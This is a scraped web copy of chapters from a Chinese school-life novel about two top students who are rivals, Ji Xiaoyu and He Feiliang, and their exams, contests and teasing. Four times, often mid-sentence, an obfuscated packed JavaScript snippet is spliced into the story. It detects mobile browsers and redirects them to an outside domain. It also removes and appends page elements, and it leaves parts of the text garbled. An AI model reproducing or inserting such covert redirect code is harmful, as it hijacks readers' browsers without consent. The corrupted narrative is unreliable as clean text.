虽然这事儿早就传开了,引起了全年级的轰动,但是同学们还是像失忆了一样,一边“哇”着,一边再次朝何非亮投射来惊叹的目光。 纪小鱼的前桌蒋小胖,更是直接转过了身子,两手激动地掐着座椅的靠背,一脸崇拜地望向何非亮,眼睛里两颗闪亮的爱心一跳一跳的,“学神威武!周末可以帮我补习吗?我请你喝奶茶!” 何非亮的声音平静如水,“抱歉,国家不鼓励节假日补课了。” 蒋小胖安静了几秒,眼里的粉色爱心破碎了,变成了两道面条宽的眼泪,“呜呜呜,学神,你对人家好 bad bad 嗷~~┗|`O′|┛ ” 纪小鱼受到同学们灼灼目光的波及,如芒在背,有点浑身不自在。 他低下头,对着和试卷答题卡一并发下来的参考答案使劲琢磨,还是不明白,绞尽脑汁也不明白—— 啊啊啊啊啊啊,自己那2分究竟扣哪儿了? 这种想破脑袋也想不出来的感觉实在是太不好受了,好在这已经是数学课的最后五分钟了,严老师也不打算往下讲了,而是在教室里背着手转悠着,“大家有问题可以问,没有问题就先看看答案,我们今天下午再讲大题。” 同学们安静如鸡,纷纷垂下头,有意识地避开了和严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891538|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老师的目光交流,只有纪小鱼的手一枝独秀。 “严老师,我这道函数题为什么扣了两分?” 严老师拿起纪小鱼的答题卡扫了两眼,点了点头,“嗯,你这卷子是我改的。来,你看,求函数的值域这里,你用了洛必达法则,超纲了。” “超、超纲了?”纪小鱼一脸懵逼,还能有这种说法? 严老师扶了扶眼镜,严肃地说,“按照高考要求,缺少足够的证明就用洛必达,原则上就是要扣2分的。以后不要随便乱用了,最多拿来验算一下。” 同学们面面相觑——什么是洛必达法则? 只有何非亮似笑非笑,“小鱼,不错啊,学到高数了?” 纪小鱼脸有点红。 他在考试写这题的时候,一度为自己恰好可以用“超纲”的内容来解而沾沾自喜,存了那么点卖弄的小心思。 还盼着老师的一声夸呢! 老老实实的算法他不是不会,谁知道,竟然“聪明反被聪明误”,装逼不成反被打脸,就这么白白错失了一个出风头的好机会。 严老师又踱着步子走远了。 纪小鱼挠了挠头,呆呆地看着掌心里自己顺带挠下来的两根头发。 唉,突然有了点秋天的惆怅。 …… 时间晃晃悠悠,转眼就到了下午。 两点二十,阳光浓烈、空气昏沉。 春困、夏倦、秋乏、冬眠,四季如梦。而此时,正是一天中最惹人犯困的时刻。 “特困生”纪小鱼一个呵欠还没打完,就看见教生物的夏老师夹着生物课本、铁青着一张脸走了进来。 夏老师素有威名,此行步伐间大有金戈铁马、山雨欲来之势。 纪小鱼掐指一算,糟,怕是有人要大难临头。 黑云压城,班里鸦雀无声。 纪小鱼连忙正襟危坐,却看见夏老师凌厉的目光直往他这个方向射。 诶!? 不可能啊,我生物得了100分啊…… 纪小鱼被这样的目光看得心里发毛,忍不住偷偷瞟了一眼身旁的何非亮。 何非亮面上淡淡的,垂着眼在草稿纸上写写画画,三下两下便勾勒出了一只喷火的哥斯拉。 他似乎察觉到了纪小鱼的注视,眼眸流转,唇角多了点不易察觉的笑意,提笔在哥斯拉脚下补上了一个瑟瑟发抖、眼睛打叉的小人,想了想,又用一根箭头给小人连接上了注释——胆小鱼。 你才胆小呢! 纪小鱼气得在心里哇哇乱叫。 我、我这是怕……怕夏老师气坏了身子! 纪小鱼不服气地挺直了脊背,表面上不声不响,课桌下的脚一晃,快、准、狠地盖在了何非亮的鞋子上。 哎呀、哎呀,竟然真的踩到了啊! 美滋滋,美滋滋,简直美滋滋! 纪小鱼得意地朝何非亮丢下一个“寻衅滋事”的目光。 何非亮侧过一点脸,撩起一点眼皮,目光定定地注视着纪小鱼,那眼神仿佛在说“很棒,非常棒!” 手里的笔在指尖转了一圈,何非亮在草稿纸上写下四个干脆利落的大字—— “放学别走!” “呵。”纪小鱼不甘示弱,也在自己的草稿纸上龙飞凤舞地题下四个大字—— “走的是狗!” 5. 第五章 放学别走 “蒋小胖同学,”暗流涌动的另一边,夏老师的声音有着暴风雨前的平静,“请到讲台上来。” 纪小鱼松了口气,哦,原来遭殃的是蒋小胖。 可蒋小胖大概不这么想。 “啊,我吗?”他小声地自语道,低着头左右张望了一下,好像在找班里还有没有同名同姓的同学。然而并没有,蒋小胖只好有点局促不安地站起身来,往讲台上慢腾腾地挪着步子。 夏老师也不催他,等他在讲台上站定了,才用胳膊撑着讲台,盯着他,慢悠悠地开口问道,“来,你告诉大家,21三体综合征的表现是什么?” “呃……” 什么二啊、一啊、三啊的…… 蒋小胖睁着“渴望知识”的双眼,求助地望向纪小鱼和何非亮。 却见到纪小鱼翻着白眼,手指往下扯着嘴角,吐着舌头,做了个难看的鬼脸,看起来不大聪明的样子。 蒋小胖在心里默默流泪,“纪小鱼,你好狠啊!人皆有不忍人之心,都这种时候了,竟然还笑我,你还是人吗!” 何非亮则是一副没睡醒的样子,面无表情,茫然地回望着他。 蒋小胖在心里摇头、哀叹、跺脚,“学神哥(gě)哥(gé),怎么关键时刻你也不靠谱啊!” 能挤进S中A班的,当年也都是个顶个的好汉。谁知道好汉蒋小胖踏进高中的第一件事情,就是立志专攻政史地。其余三科一概免谈,时至今日,这三科的教材大概他连翻也没翻过。 “我一向是一个目标明确的人,”蒋小胖啃着薯片,还意犹未尽地舔了舔手指,嘟囔道,“因此不会在没有意义的事情上浪费时间。” 纪小鱼当时觉得蒋小胖说的好像哪里有点不对,又好像没有什么不对,琢磨了一下又好像还挺有道理。可惜何非亮每一科都好得令人发指,他要是敢在不选的科目上不下功夫,总分非得被何非亮碾压不可——啧,这和直接举白旗认输有什么区别? 铁骨铮铮纪小鱼,宁死不降何非亮! 唉,这该死的胜负欲。 像枷锁,又像鞭策。 真磨人。 从某种角度上来看,纪小鱼也是一个目标明确的人。十年来,他的目标一直都是打败何非亮! “我……”放话的时候有多嚣张,现在就有多尴尬,蒋小胖认命了,深吸一口气,“我不知道诶……” “你不知道?”夏老师挑眉,曲起食指叩了叩坐第一排同学的桌子,“徐帆,你,和他讲一下什么是21三体综合征。” 徐帆乍一被点到,赶紧埋头翻书,在3秒内定位到了知识点,推了推眼镜,对着课本一字不差地念了起来,“21三体综合征是一种常见的染色体异常遗传病,患者智力低下,身体发育缓慢,并且表现出特殊的面容……[1]” 夏老师从鼻子里“嗯”了一声,姑且放过了这个无辜被牵连的小同学,视线又回落到了蒋小胖的脸上,冷笑道,“十道选择题,你就对了一个!诶,我就想考考你这唯一对了的这道题,是不是真会。结果你还真给我答不上来了,看来这十道题全都是蒙的吧?” 事到如今,也只能破罐子破摔了。 蒋小胖硬着头皮挤出了一点微笑,“确实……确实是蒙的。” …… 蒋小胖拿到试卷的时候,就和纪小鱼讨论过了,“真倒霉啊……蒙了十道,就对了一道!这概率得多小啊!” “不的、不的。”纪小鱼认真纠正道,“十道题只蒙对一道的可能性是十乘以四分之三的九次方再乘以四分之一,约等于18.77%,这个概率其实已经不小了。” “嗷,这样子吗?18.77%啊……也是,一道四选一蒙对的概率也才25%,”蒋小胖若有所悟地点点头,“那好像我十道能对一道其实也还凑合吧。诶,纪小鱼,那你对了几道啊?” “我对了十道。” “哦,那你这个全对的概率是十乘以四分之一的十次方……等于……呃,等于……” “不好意思啊,”纪小鱼再次纠正道,“第一,十道题全蒙对的概率是四分之一的十次方,这种情况下前面没有乘以十哦。” “啊?”蒋小胖眼睛开始打叉了。 “第二,”纪小鱼继续说道,“我凭实力做的,全对是必然事件,概率是百分之百。” “唉,”蒋小胖朝纪小鱼拱拱手,“服气服气……生物反正我也没学,错多少都是应该的,心态良好。但你说的这个数学问题,我咋也听不懂呢?” 纪小鱼报之以微笑,“没关系,小胖,心态最重要。” …… 但此时,站在讲台上的蒋小胖,已经很难再保持一个良好的心态了。 “为什么不好好学?”夏老师沉着一张脸,追问,“是我讲的不好吗?” “夏老师,我……我高考不选生物。” 夏老师怔了怔,“不考就不学了?那我的奖金怎么办?” 蒋小胖攥着自己的衣角,觉得这话好没道理,甚至有点莫名其妙—— 不考为什么要学? 再说了,您的奖金又不是我扣的,找我干嘛……找张校长去啊。 夏老师似乎不想就此放过蒋小胖,沉声道,“今天第二节晚修课,把你今天的生物作业拿来给我看,下去吧。” “哦。”蒋小胖不服气地往座位走,脸上仍然挂着一个硬挤出来的笑容,眼眶却有点红了。 这都什么事啊! 今天可真倒霉! 但转念一想,这次考试生物拿了全班倒数第一,夏老师为难他…… 唉……似乎是一个必然事件。 …… 放学了,纪小鱼没走,而是趁着脑细胞活跃后的余温,趁热打铁地刷起了生物的课后作业题。 啊,好简单啊! 每一题的题干都好像在疯狂的暗示! 每一题的答案又都是那么的明显! 这种感觉,好畅快,却又少了点挑战! 蒋小胖也没走,对着如天书一般的生物作业本长吁短叹了一番,终于转过头来,有气无力地来了段即兴快板,“纪小鱼,行行好,生物作业太难搞,你的借我好不好、好不好?” “你想借我的生物作业哦?”纪小鱼恰好写完了生物作业的最后一题,平静的放下笔,“也不是不可以,不过呢,啧,你得先回答我一个问题。” “什么问题?” “吾与何非亮孰美啊?”纪小鱼捋着自己不存在的胡子。 蒋小胖想都不想,“当然是何非亮啊!” 纪小鱼气急败坏,“喂,你不是有求于我吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891539|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那也不能昧着良心啊。”蒋小胖回答地理直气壮。 “哼!” 日头西坠,阳光的余晖斜斜地倾落在何非亮的眉眼间,模糊了清冷的轮廓,晕染出一种明净山水的温柔。 纪小鱼一时没挪开目光。 行吧……何非亮这家伙长得还可以,和我差不多了。 “算了算了,”纪小鱼撇撇嘴,“借你就借你吧。” 蒋小胖顿时喜笑颜开,正要谄媚地把作业本接过去,纪小鱼却突然小心眼地反悔了,语气酸溜溜的,“哎哟,你不是说何非亮比较帅吗?那你找何非亮借去啊!” “啊?真的可以吗?”蒋小胖愣了一下,脸上的笑容顿时变得羞涩起来,颇有点不好意思地侧过头看了一眼何非亮,在心里组织了一遍语言,终于清了清嗓子,开口道,“呐个,学神哥哥啊,生物作业借我观摩一下可以吗?” 纪小鱼在心里痛骂——蒋小胖真是低情商!他就不能夸我更帅吗?怎么还真的去找何非亮借了啊? 何非亮抬头,淡淡扫了一眼蒋小胖,“夏老师既然要你亲自把作业拿给他看,等会肯定要考你。你先照着书自己写写吧,能写多少写多少,写完我可以给你对一对答案。” “对对对,”纪小鱼难得的没有唱反调,在一旁应和道,“夏老师肯定会趁机考你一下,你还是先看一遍书吧。” “也行。”蒋小胖愁眉苦脸转回身去,在收纳箱里一阵摸索,终于掏出了崭新的生物课本,叹了口气,感慨道,“我好难啊!” 随手翻开其中的一页,蒋小胖草草扫了两眼就不行了,“啊,我头晕!小鱼,去吃饭吗?” 纪小鱼眼角的余光偷偷瞥了一眼何非亮,“我今天晚点吃。你先去吧。” “哦,”蒋小胖点点头,“那我先去吃饭了,拜拜了两位。” “拜拜,不过咧,”纪小鱼好心地提醒,“我们已经学到必修二的第三章了,你加油。” 有道是,天上有云不下雨,眼里无泪却想哭。 “哈?”蒋小胖看着手里厚实的生物必修一,有点恍惚,“怎么就学到必修二了?” 纪小鱼一副理所当然的样子,“因为必修一已经学完了啊。” 蒋小胖:“……” 纪小鱼安慰道,“没事,必修一大部分都是初中学过的知识。” “是吗?”蒋小胖从上往下扫着课本的目录,笑得有点勉强,“我怎么没有印象了……我读过初中的吗?” “读过啊,我们初中不是一个班的吗?” 蒋小胖:“……” 啊,这…… 一时,竟无言以对! “唉!”蒋小胖摆摆手,“算了,算了,我还是先去吃饭了。吃饭要紧,吃饭要紧!溜了溜了!” “何非亮,”纪小鱼眼珠一转,脸上挂起了一副又酷又拽的表情,开始找何非亮的麻烦了,“你不是说放学别走吗?怎么,想打架?” 何非亮唇角流露出了一点微笑,“看你敢不敢啰?” “呵——”纪小鱼像被踩到尾巴的小猫一样,瞬间炸毛了,提起胳膊竖直立在课桌上,下颌微微一沉,“你来!” “呵呵。” 两只手交握在一起。 不是东风压倒西风,就是西风压倒东风! 6. 第六章 天选之子 掰手腕大赛正式开始! 四目相对之下,两人眼里迸射出来的火花在空中交汇、碰撞。 僵持了一会后,在纪小鱼的强势进攻之下,何非亮很快就节节败退了! 纪小鱼眼里兴奋的火苗燃起来了。 没想到,竟然会如此的轻松! 我、我真的可以打败何非亮了吗? 哦呵呵呵呵呵呵,这一定是因为我太过于强大了! 何非亮的手背越来越接近桌面,眼看着再差一点就要成功了! 纪小鱼忍不住热泪盈眶。 然而,那双手突然变得纹丝不动起来,怎么也压不下去了。 诶?怎么回事? “小鱼,”何非亮懒懒地抬眼,“你准备好了吗?我要开始用力了。” 话音刚落,纪小鱼便觉得自己的手好像坐直升梯了一样,哪怕自己已经使出了封印已久的洪荒之力,仍然被一种不可抗力撑着往上抬。 不! 不要! 啊啊啊啊啊啊! 纪小鱼突然眼睛一亮,“何非亮,飞碟!飞碟!快看,窗外有飞碟!” “呵呵,小鱼,你说有蟑螂可能更有用一点。” “啪!” 纪小鱼呆呆地望着自己被何非亮摁在桌面上的手,心里一万个不服,嘴里叫嚣道,“再来!再来!我刚才是看到飞碟了分心了才没使上力,被你偷袭了!不算不算!” “哦,是吗?”何非亮无所谓地耸了耸肩膀,“来啊。” …… “再来!我们换一只手!” …… “再来!” …… “何非亮,”纪小鱼揉着自己发红的手,“你、你别得意,我们、我们比别的!” “行——但麻烦你能先别踩着我了吗?” “哦……”纪小鱼有点不好意思地把脚挪开。 咳,他还真不是故意的。 刚才,那不是……使出“全身的力气”吗? 这脚一激动自己也跟着帮忙了,这能怪我吗? “刚才、刚才算你运气好!”纪小鱼生硬地岔开话题,神神秘秘地从书包的夹层掏出心爱的小手机,“来,我们比这个!” …… 一声“TIMI”,从教室门口路过的严老师脸都绿了,杀气腾腾地闯进来。 糟糕! 大事不好! 说时迟、那时快,纪小鱼以迅雷不及掩耳之势把手上的手机塞给何非亮,撑着下巴,眼睛瞟向另一边,装出一副事不关己、高高挂起的样子。 什么叫手速? 这个就叫手速! 何非亮捧着纪小鱼的手机,脸上难得的露出了少许怀疑人生的表情。 手机屏幕还停留在游戏的登录界面,画面炫酷,制作一流。 哦豁,这下,可以说是“人赃俱获”了。 严老师已经站在了身侧,纪小鱼心虚地低头注视着自己桌面上摊开的生物作业本。 镇定、镇定! 我只是一个无辜的小同学,何非亮玩手机关我什么事? “严老师,对不起,我学累了想放松一下,您……”何非亮乖乖地把手机递上去,“把我的手机没收吧?” 纪小鱼惊恐地睁大了眼睛,僵硬地一点点扭过头,脖子仿佛生锈了一般不好使。 眼睁睁地看着那只伸出去的手,纪小鱼用力地咽了口唾沫,“何……何……” 生涩的音节在喉结处滚了又滚,然而…… 终究是啥也不敢说、啥也不敢问啊! “哎,”严老师看见玩手机的是何非亮,气早就消没了,泛绿的脸又变得红润了,声音又温柔又亲切,“没事,学习就是要劳逸结合,不过玩累了不要忘记休息一下眼睛哦。” 等严老师走远了,纪小鱼才敢开口说话,“何非亮!你、你刚才……” 何非亮白了他一眼,“我那是以退为进。” “哦,好吧……” 反正手机还在,纪小鱼咧咧嘴,又露出了开心的笑容。 如果刚才何非亮把他给卖了,那可就糟糕了。 不过,“谢谢”这种肉麻的话,他才不会和何非亮说呢! “哇,”何非亮一边把玩着纪小鱼的手机,一边摇着头,“纪小鱼,你很狗诶!好一手嫁祸于人、好一手隔岸观火啊!啧啧!” “很狗?”纪小鱼嬉皮笑脸地把手机抢了回去,“很狗的是纪小狗,关我纪小鱼什么事?” “算了,今天就先放你一马吧!”纪小鱼站起身来,捂了捂自己有点空虚的肚子,“爸爸去吃饭了,告辞!” 何非亮抛给了他一个白眼,大概是“慢走不送”的意思。 纪小鱼走到一半,突然停住了。 等等,高手兄说什么来着? 知己知彼,百战不胜……啊不,是百战不殆! 我得看看何非亮都吃些什么! 纪小鱼倒了回去,清了清嗓子,朝何非亮挤出了一个和善的笑容,“咳咳,儿子啊,你要不要一起来啊?” “滚。” 这就有点尴尬了…… 纪小鱼眨着略显无辜的眼睛,脑海中蹦出了两个选项: 【A:忍辱负重,认贼作父;为谋大业,甘当孝子。具体操作是——和何非亮说,“对不起,您才是爸爸。爸爸,一起去吃饭吧。”】 【B:按兵不动,静观其变;潜伏隐忍,蓄势待发。坐下来和何非亮耗,等何非亮准备去吃饭的时候,再见机行事,暗中观察。】 俗话说的好,成大事者,不拘小节。A选项省时省力,成功率高,简直让人无法拒绝。这么看来的话…… 不行! 绝对不行! 纪小鱼用力地甩甩头,把这个荒唐的念头甩掉。 我纪小鱼不要面子的吗!? 那么B选项可以说是稳中求进,以不变应万变了。只是…… 纪小鱼委屈巴巴地捂着瘪瘪的肚子。 好饿啊…… 纪小鱼只好选择了选项C,对何非亮晓之以情,动之以理,语重心长地解释道,“再不去的话,食堂里好吃的都没了,不好吃的也冷了。再说了,晚饭早点吃对身体也比较好,我这是为你着想啊!” 何非亮眉梢动了动,嘴角漾起一点涟漪,“那走吧。” 呵!我真是太厉害了! 纪小鱼忍不住为自己的高情商点赞。 …… 食堂窗口前,两位绅士正在互相礼让。 “小鱼,你先。” “不不,你先。” “你不是饿了吗?” 纪小鱼真诚地看着何非亮的眼睛,眼睛扑闪扑闪地冒着光,“相信我,你比较饿。” 何非亮:“……” 食堂大叔拿铁勺不耐烦地敲了敲餐盘,“喂,你们两个,到底还要不要点啊?” “要的要的!”纪小鱼一把将何非亮推到前面,“何非亮你快点哦!别磨磨蹭蹭的!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891540|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 何非亮一脸无奈。 “不好意思,一份排骨,一份鸡胸肉,一份青菜,麻烦了。” “没事、没事。”食堂大叔的脸色缓和了些,利索地帮何非亮打好饭菜。 “那我先去找个位置哦。”何非亮端着餐碟,回过头来。 “快去快去!” 终于搜集到了何非亮今天吃什么的情报! 纪小鱼的脸上不禁流露出了一点窃喜。 “小同学,”食堂大叔懒懒地问道,“你要吃什么啊?” 纪小鱼有点不好意思地开口,“和……和他一样就好了。” “哦~”食堂大叔看了看羞赧的纪小鱼,又望了望何非亮远去的背影,意味深长地点了点头——哎呀,谁年轻的时候心里头没有个偷偷敬仰、暗中崇拜的对象呢。 食堂大叔一边打菜,一边露出了神秘的微笑,“一共十四块五,加油!” 加油?加什么油? 纪小鱼愣了愣。 难道——食堂大叔也看出来,我要对何非亮进行“知己知彼然后把他打成一个扁的”的战术了吗? 纪小鱼试探地问道,“您……看出来了吗?” 食堂大叔点了点头,“还挺明显的。” 纪小鱼有点惊讶。 难道这就是传说中的高手在民间? “不过你放心,”食堂大叔补充道,“我会帮你保密的。” “哦!太谢谢您了!” 纪小鱼不由地有一点小激动。 孟子曾曰,“天时不如地利,地利不如人和。[1]” 又曰:“得道者多助,失道者寡助。[2]” 啊,现在,就连食堂大叔都愿意站在自己这边,帮自己保密战术! 这说明什么? 再明显不过了,这说明我——就是那传说中的得道者呀! 呵呵,至于这场征战的结局会是怎样,想必古人的智慧已经解释得很清楚了。那便是——“以天下之所顺,攻亲戚之所畔,故君子有不战,战必胜矣。[3]” 何非亮啊何非亮,你也不反省一下,大家都点一样的菜,凭什么食堂大叔要帮我呢? 哦呵呵呵呵呵! 我一定就是传中的天选之子! 纪小鱼美滋滋地刷卡付好钱,接过餐碟,四处张望了一下,很快就锁定了何非亮的身影。 然而,何非亮的座位此时已经被女生包围了。 可恶! 竟然已经没有他的一席之地了! 呵呵,但这怎么可能难得倒我纪小鱼呢? 纪小鱼眼珠一转,突然一声惊叫,连声音都变得尖锐了些,“啊!有老鼠!” 女生们顿时吓得花容失色,纷纷以迅雷不及掩耳之势躲闪到一边。 场面陷入一片混乱。 混乱之中,只有何非亮岿然不动,嘴角勾起一点云淡风轻的笑,不慌不忙地低头夹菜,而他周围的座位已经全部空了出来。 唉,不愧是我! 纪小鱼计谋得逞,大摇大摆地端着餐盘坐到了何非亮的对面,“你好啊。” 何非亮也淡淡地回了一句,“你好啊,小鱼。” 女生们这才后知后觉地反应过来有哪里不对。 “喂!”原本坐在何非亮对面的女生大着胆子,气冲冲地走上来,质问道,“哪里有老鼠啊?” “那里啊。”纪小鱼气定神闲地指了一下其中一个女生的书包挂坠,“喏,你看——米老鼠诶,好可爱哦!” 7. 第七章 快乐源泉 夕阳西下,天空被夜色取代,教学楼一盏一盏的白炽灯接连地亮起灯火。 纪小鱼回到班里的时候,蒋小胖正枕着摊开的生物书,口吐白沫,陷入了昏迷。 纪小鱼定睛一看——哦,是减数分裂啊! 才吃个饭、散散步的时间,小胖就已经看到这里了啊!真不错! 纪小鱼欣慰地点了点头。 语文课代表宋倩正在派发试卷的答题卡。 成绩的小分也贴在教室后方的公告栏上了,纪小鱼凑过去一看,人都傻了。 在清一水的“666”中,自己的那个“5”显得格外的扎眼—— 我去,古诗文默写怎么就扣分了呢!? 古诗文默写,那是语文老师人美心善,给大家的送分题啊! 直到纪小鱼拿到了答题卡,他左看右看,还是百思不得其解,几乎要把古诗文默写的答题框看出一个洞来,“没道理啊,这不和答案一模一样吗?应该是满分的呀!” 何非亮拈起纪小鱼答题卡的一角,从他的手里抽过答题卡,认真地瞧了瞧,忽然就“扑哧”一声笑了出来。 这笑容越扩越大,一时半会竟然收不住了。 纪小鱼心里发虚,“怎么了哦?” 何非亮把脸埋进胳膊里,压抑住肩膀的颤抖,“小鱼,你把范仲淹的‘淹’写成‘俺’了……” “什么!” 纪小鱼大惊失色,抢过答题卡定睛一看——还真是! 《岳阳楼记》的作者一栏,“范仲俺”三个大字赫然在目。 “救命!”纪小鱼捶胸顿足,几欲西去,“一分就这么没了,一分呐!” 一分重要吗? 当然重要! …… 高一上的期中考试,九门功课门门要考,总分史无前例地达到了1050分。 每年的这个时候,朝气蓬勃的高一新生间,总会自发地兴起轰轰烈烈的“千分挑战赛”。 毕竟,这个时候的高一新生,还没怎么经历过毒打,abcd中的某个数也不多。 于是,学霸看门道,学渣看热闹—— 不过,也不用等到出成绩,基本上第一天考完,绝大部分同学就大概明白了,什么叫“现实是此岸,理想是彼岸,中间隔着湍急的河流[1]……而我不会游泳”。 咳咳……当然,妖孽除外。 那一次,考上千分的有十七个人,每一个都是当年各大初中的天之骄子。 到了高一上的期末,考上千分的只剩五个了。 再到了高一下的期中,考上千分的就只有何非亮和纪小鱼了,他们两个也成为了S中连续千分记录保持最长的两位选手。 高一下的期末,何非亮和纪小鱼仍然不负众望,取得了超过千分的好成绩。 大家纷纷猜测,谁能将传说保持…… 春去秋来,时光飞逝,转眼就迎来了高二上的期中考试。 这次的题出得变态难,考试的结果是: 何非亮喜提“1001”,恐成最大赢家; 纪小鱼折戟于“999”,令人扼腕; 全校第三考了“943”,听见纪小鱼悲痛地说自己考得很差,默默地泪洒长江。 第四名?他好像在唱“我是阳光开朗大男孩~” 至于蒋小胖,只能安慰自己——“张华考上了北京大学,李萍进了中等技术学校,我在百货公司当售货员:我们都有光明的前途[2]。” 纪小鱼觉得心在滴血,如果数学没有装逼,如果默写没有中邪…… 想到这里,纪小鱼忍不住仰天长叹,发出气壮山河的——“我艹!” “小鱼,”何非亮晃着笔杆敲了敲桌面,“文明一点哦。” “呵呵,我这是快乐C语言!” 何非亮难得的愣了一下,然后缓缓笑开,“哦,是吗?那你现在快乐吗?” 纪小鱼:“……” 那你现在礼貌吗? “我挺快乐的,”何非亮眉眼弯弯,诚恳地在纪小鱼心头补刀,“小鱼,你简直是我快乐的源泉。” 纪小鱼:“……” 啊,悄悄是别离的笙箫,沉默是今晚的康桥[3]! 何非亮继续说道,“哦,比如那个,全市中小学生知识竞赛……啧,那个时候我就知道你是一位搞笑界的人才了、哦不,是巨擘、巨擘。” 纪小鱼一脸冷漠:对这样的奉承表示——“呵呵。” “唉,”何非亮故作惆怅地叹了口气,“从那以后,我吃哈根达斯的时候,都会忍不住想笑,不知道的人还以为我多爱吃呢。诶,你还记得吧?那天你把‘哥本哈根世界气候大会’答成了‘哈根达斯世界气候大会’了,可逗了。” 记得吗? 当然记得! 当时正是决赛中最紧张刺激的一刻,何非亮和纪小鱼的比分一路领先却又相互僵持不下,焦灼的战况一直烧到了最后一道题。 形式千钧一发,在一众的屏息凝神中,主持人清了清嗓子,缓缓开口,“请听题!《联合国气候变化框架公约》第15次缔约方会议暨《京都议定书》第5次缔约方会议又被称为什么?” 这题我会! 这题我会! 纪小鱼疯狂拍下抢答铃。 何非亮也几乎在同时按下了抢答铃。 这一次,命运的天平终于向着纪小鱼倾斜了。 在这决定胜负的一刻,显示屏上显示,纪小鱼以0.03秒的微弱优势抢在何非亮之前按下了通往胜利的按钮。 纪小鱼自信又得意地站起身来,激动地喊出了答案,“哈根达斯世界气候大会!” 说完,纪小鱼脸上带着胜利者的微笑,居高临下地睨了何非亮一眼,气场两米八。 却看见何非亮一向处变不惊的脸崩塌了。 笑得像个孩子。 领奖台上,何非亮站在一旁,脖子上戴着闪瞎狗眼的金牌。 他那副欲言又止、要笑不笑的嘴脸,就很欠扁! 就很嘲讽…… 第一节晚自习的上课铃声打响。 纪小鱼甩甩头,努力地把这段并不美好的回忆掐掉。 “哼!扣一分就扣一分吧!”纪小鱼愤愤地嘟囔着,一边顺手把语文试卷的答题卡收进抽屉里,“何非亮你别得意!人生路还长!” “呵呵,笑一笑十年少,有你在我能多活几年。”何非亮笑了笑,礼貌地补了一句,“谢谢你哦!” 哇哇哇哇哇! 我,纪小鱼,和何非亮势不两立! …… 刚考完试那两天的晚自习,一般来说是纪小鱼最悠闲的时光。 因为这两天的作业一般就是订正试卷外加一点新课的课后练习——对纪小鱼来说,订正一般没有几题可以订正的;新课的课后练习一般来说也就是一些基础题,轻松写意,毫无难度。 然而,被何非亮这么一气,纪小鱼又燃起了熊熊的战意。 困难像弹簧,你强它就弱! 要想灭一灭何非亮嚣张的气焰,就必须要比他更强! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891541|176485||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >纪小鱼偷偷瞄了一眼何非亮。 何非亮正拖着下巴,百无聊赖地翻起了一本《Discover》。 切,又——在——装——逼! 纪小鱼暂时不想理他,想了想,还是又从抽屉里抽出语文试卷,细细地琢磨了起来。 其实,从分数上看,语文是进步空间最大的一门,然而,却也是最有力没处使的一门。 这次纪小鱼考了128分,古诗文默写扣了1分,现代文阅读扣了4分,古代诗文阅读扣了5分,作文扣了12分。 最大的突破口,应该就是作文了。 然而,众所周知,一篇作文不管写得怎么样的妙笔生花、文采斐然、思想深刻,老师始终是要吹毛求疵地扣上几分才满意。 有时候,纪小鱼几乎想要放弃在作文上卷了。考场上能四平八稳地拿上一个“48”分,就能有一颗感恩的心了。 对于一个优秀的电竞选手来说,稳定的双手是必须的。 对于一个作文家来说,一双稳定的手同样也是十分重要的。 大概是为了培养新时代公民,现在考的都是针对某某社会现象,谈谈你怎么看。 曾几何时,纪小鱼也是一个胸有块垒、笔底波澜的好少年;但自从他历经了好几回直抒胸臆、洋洋洒洒,下笔八百字,却离题两万里的惨痛经历,如今的纪小鱼已经逐渐成熟。 他知道了议论文要总分总,显得结构清晰,也知道了分论点下面要有论据支撑,显得内容详实;他知道了要边写边扣题,也知道了起承转合要围绕中心服务、全文要有正能量、结尾要适当升华。 他拥有了一双稳定的手。 也拥有了一颗波澜不惊的心。 但是、但是,他看成绩小分的时候就特意看过了,凭什么何非亮的作文就能得54分! 纪小鱼昧着良心冲何非亮笑笑,“同桌啊,都说字如其人。这句话的真实性我一直很好奇。我看你长得一言难尽,语文试卷拿来借我看看你的字写得怎么样呗?” 